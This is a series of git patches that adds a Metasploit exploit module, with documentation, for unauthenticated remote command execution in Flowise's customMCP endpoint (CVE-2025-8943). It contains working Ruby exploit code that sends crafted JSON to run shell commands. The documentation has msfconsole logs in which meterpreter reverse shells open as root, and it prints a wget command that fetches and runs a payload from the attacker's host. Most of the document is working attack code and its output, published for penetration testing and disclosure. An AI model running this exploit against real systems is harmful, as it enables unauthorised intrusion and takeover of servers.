From 88aadcc856393cb32d284efc3bc96c1de8f41614 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Tue, 18 Nov 2025 22:00:07 +0100 Subject: [PATCH 01/16] Add Flowise Custom MCP RCE exploit (CVE-2025-8943) --- .../multi/http/flowise_custommcp_rce.md | 103 ++++++++++++++ .../multi/http/flowise_custommcp_rce.rb | 129 ++++++++++++++++++ 2 files changed, 232 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/flowise_custommcp_rce.md create mode 100644 modules/exploits/multi/http/flowise_custommcp_rce.rb diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md new file mode 100644 index 0000000000000..1bf08c3d3c367 --- /dev/null +++ b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md @@ -0,0 +1,103 @@ +## Vulnerable Application + +[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions prior to 3.0.1 are vulnerable +to an unauthenticated remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint. + +The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows unauthenticated users to execute arbitrary +commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system. + +This vulnerability affects Flowise versions < 3.0.1. + +This module was successfully tested on: + + * Flowise 3.0.0 installed with Docker + +### Installation + +1. Create a directory and create `docker-compose.yml` with the following content: + +```yaml +services: + flowise: + image: flowiseai/flowise:3.0.0 + restart: always + environment: + - PORT=3000 + - DATABASE_PATH=/root/.flowise + - APIKEY_PATH=/root/.flowise + - SECRETKEY_PATH=/root/.flowise + - LOG_PATH=/root/.flowise/logs + - BLOB_STORAGE_PATH=/root/.flowise/storage + ports: + - '3000:3000' + healthcheck: + test: ['CMD', 'curl', '-f', 'http://localhost:3000/api/v1/ping'] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + volumes: + - ~/.flowise:/root/.flowise + entrypoint: /bin/sh -c "sleep 3; flowise start" +``` + +2. `docker compose up -d` + +3. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`) + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/flowise_custommcp_rce` +4. Do: `set RHOSTS ` +5. Do: `set LHOST ` +6. Do: `set FETCH_SRVHOST ` +7. Do: `run` +8. You should get a meterpreter session + + +## Options + + +## Scenarios + +### Flowise 3.0.0 on Linux (Docker) + +``` +msf6 > use exploit/multi/http/flowise_custommcp_rce +[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp +msf6 exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 +RPORT => 3000 +msf6 exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555 +LPORT => 5555 +msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1 +FETCH_SRVHOST => 172.17.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081 +FETCH_SRVPORT => 8081 +msf6 exploit(multi/http/flowise_custommcp_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Flowise version detected: 3.0.0 +[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943 +[*] Sending stage (3090404 bytes) to 172.23.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100 + +meterpreter > sysinfo +Computer : docker-flowise-1 +OS : Linux +Architecture : x64 +System Language : en_US.UTF-8 +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb new file mode 100644 index 0000000000000..9e3958cbe7e70 --- /dev/null +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise Custom MCP Remote Command Execution (CVE-2025-8943)', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in Flowise versions < 3.0.1. The vulnerability exists in the customMCP endpoint + (/api/v1/node-load-method/customMCP) which allows unauthenticated users to execute + arbitrary commands by sending a specially crafted JSON payload. + The endpoint accepts a command and arguments that are executed directly on the system. + }, + 'Author' => [ + 'Assaf Levkovich', # Vulnerability discovery (JFrog) + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-8943'], + ['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/'] + ], + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter_reverse_tcp + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter_reverse_tcp + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-08-14', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 3000, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version') + res = send_request_cgi({ + 'uri' => version_url, + 'method' => 'GET', + 'headers' => { 'Accept' => 'application/json' } + }) + + return CheckCode::Unknown('Could not retrieve Flowise version') unless res&.code == 200 + + json_data = res.get_json_document + version_str = json_data['version'] + return CheckCode::Unknown('Could not retrieve Flowise version') if version_str.nil? || version_str.to_s.empty? + + version = Rex::Version.new(version_str) + print_status("Flowise version detected: #{version}") + + return CheckCode::Appears("Version #{version} is vulnerable to CVE-2025-8943") if version < Rex::Version.new('3.0.1') + + CheckCode::Safe("Version #{version} is not vulnerable") + end + + def execute_command(cmd, _opts = {}) + command = 'sh' + args = ['-c', cmd] + + if target.platform.names.include?('Windows') + command = 'cmd' + args = ['/c', cmd] + end + + payload = { + 'inputs' => { + 'mcpServerConfig' => { + 'command' => command, + 'args' => args + } + }, + 'loadMethod' => 'listActions' + } + + exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP') + res = send_request_cgi({ + 'uri' => exploit_url, + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'x-request-from' => 'internal' + }, + 'data' => payload.to_json + }) + + return false unless res + + true + end + + def exploit + execute_command(payload.encoded) + end +end From b26c4f5c7bc7590e02d0c022f073648c5eab76f5 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Tue, 18 Nov 2025 22:25:39 +0100 Subject: [PATCH 02/16] Add Flowise Custom MCP RCE exploit (CVE-2025-8943) --- .../multi/http/flowise_custommcp_rce.md | 103 ++++++++++++++ .../multi/http/flowise_custommcp_rce.rb | 129 ++++++++++++++++++ 2 files changed, 232 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/flowise_custommcp_rce.md create mode 100644 modules/exploits/multi/http/flowise_custommcp_rce.rb diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md new file mode 100644 index 0000000000000..1bf08c3d3c367 --- /dev/null +++ b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md @@ -0,0 +1,103 @@ +## Vulnerable Application + +[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions prior to 3.0.1 are vulnerable +to an unauthenticated remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint. + +The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows unauthenticated users to execute arbitrary +commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system. + +This vulnerability affects Flowise versions < 3.0.1. + +This module was successfully tested on: + + * Flowise 3.0.0 installed with Docker + +### Installation + +1. Create a directory and create `docker-compose.yml` with the following content: + +```yaml +services: + flowise: + image: flowiseai/flowise:3.0.0 + restart: always + environment: + - PORT=3000 + - DATABASE_PATH=/root/.flowise + - APIKEY_PATH=/root/.flowise + - SECRETKEY_PATH=/root/.flowise + - LOG_PATH=/root/.flowise/logs + - BLOB_STORAGE_PATH=/root/.flowise/storage + ports: + - '3000:3000' + healthcheck: + test: ['CMD', 'curl', '-f', 'http://localhost:3000/api/v1/ping'] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + volumes: + - ~/.flowise:/root/.flowise + entrypoint: /bin/sh -c "sleep 3; flowise start" +``` + +2. `docker compose up -d` + +3. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`) + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/flowise_custommcp_rce` +4. Do: `set RHOSTS ` +5. Do: `set LHOST ` +6. Do: `set FETCH_SRVHOST ` +7. Do: `run` +8. You should get a meterpreter session + + +## Options + + +## Scenarios + +### Flowise 3.0.0 on Linux (Docker) + +``` +msf6 > use exploit/multi/http/flowise_custommcp_rce +[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp +msf6 exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 +RPORT => 3000 +msf6 exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555 +LPORT => 5555 +msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1 +FETCH_SRVHOST => 172.17.0.1 +msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081 +FETCH_SRVPORT => 8081 +msf6 exploit(multi/http/flowise_custommcp_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Flowise version detected: 3.0.0 +[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943 +[*] Sending stage (3090404 bytes) to 172.23.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100 + +meterpreter > sysinfo +Computer : docker-flowise-1 +OS : Linux +Architecture : x64 +System Language : en_US.UTF-8 +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` + diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb new file mode 100644 index 0000000000000..9e3958cbe7e70 --- /dev/null +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise Custom MCP Remote Command Execution (CVE-2025-8943)', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in Flowise versions < 3.0.1. The vulnerability exists in the customMCP endpoint + (/api/v1/node-load-method/customMCP) which allows unauthenticated users to execute + arbitrary commands by sending a specially crafted JSON payload. + The endpoint accepts a command and arguments that are executed directly on the system. + }, + 'Author' => [ + 'Assaf Levkovich', # Vulnerability discovery (JFrog) + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-8943'], + ['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/'] + ], + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter_reverse_tcp + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter_reverse_tcp + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-08-14', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 3000, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + version_url = normalize_uri(target_uri.path, 'api', 'v1', 'version') + res = send_request_cgi({ + 'uri' => version_url, + 'method' => 'GET', + 'headers' => { 'Accept' => 'application/json' } + }) + + return CheckCode::Unknown('Could not retrieve Flowise version') unless res&.code == 200 + + json_data = res.get_json_document + version_str = json_data['version'] + return CheckCode::Unknown('Could not retrieve Flowise version') if version_str.nil? || version_str.to_s.empty? + + version = Rex::Version.new(version_str) + print_status("Flowise version detected: #{version}") + + return CheckCode::Appears("Version #{version} is vulnerable to CVE-2025-8943") if version < Rex::Version.new('3.0.1') + + CheckCode::Safe("Version #{version} is not vulnerable") + end + + def execute_command(cmd, _opts = {}) + command = 'sh' + args = ['-c', cmd] + + if target.platform.names.include?('Windows') + command = 'cmd' + args = ['/c', cmd] + end + + payload = { + 'inputs' => { + 'mcpServerConfig' => { + 'command' => command, + 'args' => args + } + }, + 'loadMethod' => 'listActions' + } + + exploit_url = normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP') + res = send_request_cgi({ + 'uri' => exploit_url, + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'x-request-from' => 'internal' + }, + 'data' => payload.to_json + }) + + return false unless res + + true + end + + def exploit + execute_command(payload.encoded) + end +end From a187b9824eee539766234fe4543f116106ae9e76 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 19 Nov 2025 19:56:23 +0100 Subject: [PATCH 03/16] Remove CVE ID from title Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index 9e3958cbe7e70..a264233403802 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -13,7 +13,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Flowise Custom MCP Remote Command Execution (CVE-2025-8943)', + 'Name' => 'Flowise Custom MCP Remote Command Execution)', 'Description' => %q{ This module exploits an unauthenticated remote command execution vulnerability in Flowise versions < 3.0.1. The vulnerability exists in the customMCP endpoint From 8178313a461be7e72d22293eb79a330e9c46ca64 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 19 Nov 2025 19:56:43 +0100 Subject: [PATCH 04/16] Delete SSL param Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index a264233403802..482bc2f0be0e9 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -55,7 +55,6 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 3000, - 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], From 7ba143452c79ef73dcca66ab4e586ace3c3644ac Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 19 Nov 2025 19:57:03 +0100 Subject: [PATCH 05/16] Change checkcode Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index 482bc2f0be0e9..d435c6ab9dff8 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -77,7 +77,7 @@ def check json_data = res.get_json_document version_str = json_data['version'] - return CheckCode::Unknown('Could not retrieve Flowise version') if version_str.nil? || version_str.to_s.empty? + return CheckCode::Detected('Could not retrieve Flowise version') if version_str.blank? version = Rex::Version.new(version_str) print_status("Flowise version detected: #{version}") From f991bd58a48f7038cbdf37de7c1ac627a17b4c14 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Wed, 19 Nov 2025 19:57:48 +0100 Subject: [PATCH 06/16] Update modules/exploits/multi/http/flowise_custommcp_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index d435c6ab9dff8..ae5c906d2522c 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -123,6 +123,6 @@ def execute_command(cmd, _opts = {}) end def exploit - execute_command(payload.encoded) + fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_comamnd(payload.encoded) end end From 44cf2e309f5b420f0fbc2789dc1db01807f23d21 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 19 Nov 2025 22:12:49 +0100 Subject: [PATCH 07/16] Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) with shared mixin, documentation, and Docker Compose setup --- .../multi/http/flowise_custommcp_rce.md | 212 +++++++++++----- .../flowise_custommcp_rce_cve_2025_8943.md | 103 -------- .../exploit/multi/http/flowise_js_rce.md | 235 ++++++++++++++++++ lib/msf/core/exploit/remote/http/flowise.rb | 173 +++++++++++++ .../multi/http/flowise_custommcp_rce.rb | 69 +---- modules/exploits/multi/http/flowise_js_rce.rb | 143 +++++++++++ 6 files changed, 711 insertions(+), 224 deletions(-) delete mode 100644 documentation/modules/exploit/multi/http/flowise_custommcp_rce_cve_2025_8943.md create mode 100644 documentation/modules/exploit/multi/http/flowise_js_rce.md create mode 100644 lib/msf/core/exploit/remote/http/flowise.rb create mode 100644 modules/exploits/multi/http/flowise_js_rce.rb diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md index 8819c20527571..7e706a169bb44 100644 --- a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md +++ b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md @@ -1,13 +1,14 @@ ## Vulnerable Application -[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable -to a remote command execution vulnerability (CVE-2025-8943) in the customMCP endpoint. +[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. +Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable to a remote command execution vulnerability (CVE-2025-8943) +in the customMCP endpoint. The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary -commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly on the system -via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, the exploit works unauthenticated -by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports providing credentials via the FLOWISE_USERNAME -and FLOWISE_PASSWORD options. +commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly +on the system via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, +the exploit works unauthenticated by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports +providing credentials via the FLOWISE_USERNAME and FLOWISE_PASSWORD options. This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025). @@ -15,100 +16,181 @@ This module was successfully tested on: * Flowise 3.0.0 installed with Docker -### Installation +### Docker Setup -1. Create a directory and create `docker-compose.yml` with the following content: +Use the provided `docker-compose-flowise.yml` file or create one with the following content: ```yaml +version: '3.8' + services: - flowise: - image: flowiseai/flowise:3.0.0 - restart: always - environment: - - PORT=3000 - - DATABASE_PATH=/root/.flowise - - APIKEY_PATH=/root/.flowise - - SECRETKEY_PATH=/root/.flowise - - LOG_PATH=/root/.flowise/logs - - BLOB_STORAGE_PATH=/root/.flowise/storage - ports: - - '3000:3000' - healthcheck: - test: ['CMD', 'curl', '-f', 'http://localhost:3000/api/v1/ping'] - interval: 10s - timeout: 5s - retries: 5 - start_period: 30s - volumes: - - ~/.flowise:/root/.flowise - entrypoint: /bin/sh -c "sleep 3; flowise start" + flowise-2.2.7: + image: flowiseai/flowise:2.2.7-patch.1 + container_name: flowise-2.2.7 + ports: + - "3000:3000" + environment: + - PORT=3000 + restart: unless-stopped + + flowise-3.0.0: + image: flowiseai/flowise:3.0.0 + container_name: flowise-3.0.0 + ports: + - "3001:3000" + environment: + - PORT=3000 + restart: unless-stopped + + flowise-3.0.1: + image: flowiseai/flowise:3.0.1 + container_name: flowise-3.0.1 + ports: + - "3002:3000" + environment: + - PORT=3000 + restart: unless-stopped ``` -2. `docker compose up -d` +Start all instances: `docker compose -f docker-compose-flowise.yml up -d` + +This will run: +- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable) +- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable) +- Flowise 3.0.1 on port 3002 (fixed, not vulnerable) + +### Testing with Docker Compose -3. Verify the installation by checking http://127.0.0.1:3000/api/v1/version (should return `{"version":"3.0.0"}`) +**Test 2.2.7-patch.1 (port 3000, unauthenticated):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" +``` + +**Test 3.0.0 (port 3001, unauthenticated):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3001; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" +``` + +**Test 3.0.1 (port 3002, fixed - should return Safe):** +```bash +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3002; check" +``` +Expected: `CheckCode::Safe("Version 3.0.1 is not vulnerable")` ## Verification Steps -1. Install the application -2. Start msfconsole -3. Do: `use exploit/multi/http/flowise_custommcp_rce` -4. Do: `set RHOSTS ` -5. Do: `set LHOST ` -6. Do: `set FETCH_SRVHOST ` -7. Do: `run` -8. You should get a meterpreter session +1. Start a vulnerable Flowise instance (see versions above) +2. Launch msfconsole: `use exploit/multi/http/flowise_custommcp_rce` +3. Set `RHOSTS` and `RPORT` (default: 3000) +4. If Basic Auth is configured, set `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` +5. Run `check` to verify vulnerability +6. Set payload and execute: `set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit` +7. Verify command execution (e.g., `docker exec flowise-2.2.7 id`) ## Options -**FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has FLOWISE_USERNAME environment variable configured. +- **FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has `FLOWISE_USERNAME` + environment variable configured. -**FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has FLOWISE_PASSWORD environment variable configured. +- **FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has `FLOWISE_PASSWORD` + environment variable configured. -**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works unauthenticated. -If Basic Auth is enabled, you must provide credentials using the FLOWISE_USERNAME and FLOWISE_PASSWORD options. The module includes -improved error handling with HTTP response code validation (200 = success, 401 = authentication required, 404 = endpoint not found, etc.) +**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works +unauthenticated by using the `x-request-from: internal` header. If Basic Auth is enabled, you must provide credentials using +the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` options. The module uses `FETCH_COMMAND WGET` by default for meterpreter payloads. +The module includes error handling with HTTP response code validation (200 = success, 401 = authentication required, +404 = endpoint not found, 500 = server error). ## Scenarios -### Flowise 3.0.0 on Linux (Docker) +### Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1 ``` -msf6 > use exploit/multi/http/flowise_custommcp_rce -[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp -msf6 exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 +msf > use exploit/multi/http/flowise_custommcp_rce +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 RPORT => 3000 -msf6 exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(multi/http/flowise_custommcp_rce) > check +[*] Flowise version detected: 2.2.7.pre.patch.1 +[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1) +msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf exploit(multi/http/flowise_custommcp_rce) > set CMD 'id' +CMD => id +msf exploit(multi/http/flowise_custommcp_rce) > exploit +[*] Command sent successfully (HTTP 200) +[*] Exploit completed, but no session was created. +``` + +### Scenario 2: Unauthenticated Exploit on 3.0.0 with Meterpreter + +``` +msf > use exploit/multi/http/flowise_custommcp_rce +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3001 +RPORT => 3001 +msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1 +msf exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555 +msf exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555 LPORT => 5555 -msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1 +msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1 FETCH_SRVHOST => 172.17.0.1 -msf6 exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081 +msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081 FETCH_SRVPORT => 8081 -msf6 exploit(multi/http/flowise_custommcp_rce) > run - +msf exploit(multi/http/flowise_custommcp_rce) > set FetchListenerBindAddress 0.0.0.0 +FetchListenerBindAddress => 0.0.0.0 +msf exploit(multi/http/flowise_custommcp_rce) > run + +[*] Command to run on remote host: wget -qO ./MfCBqpTrCefhXyuuOyk01Q http://172.17.0.1:8081/MfCBqpTrCefhXyuuOyk01Q;chmod +x ./MfCBqpTrCefhXyuuOyk01Q;./MfCBqpTrCefhXyuuOyk01Q& +[*] Fetch handler listening on 0.0.0.0:8081 +[*] HTTP server started +[*] Adding resource /MfCBqpTrCefhXyuuOyk01Q [*] Started reverse TCP handler on 172.17.0.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) [*] Flowise version detected: 3.0.0 -[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable to CVE-2025-8943 -[*] Sending stage (3090404 bytes) to 172.23.0.2 -[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.23.0.2:36184) at 2025-11-18 21:45:37 +0100 +[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1) +[*] Client 172.18.0.2 requested /MfCBqpTrCefhXyuuOyk01Q +[*] Sending payload to 172.18.0.2 (Wget) +[*] Command sent successfully (HTTP 200) +[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.18.0.2:36184) at 2025-11-18 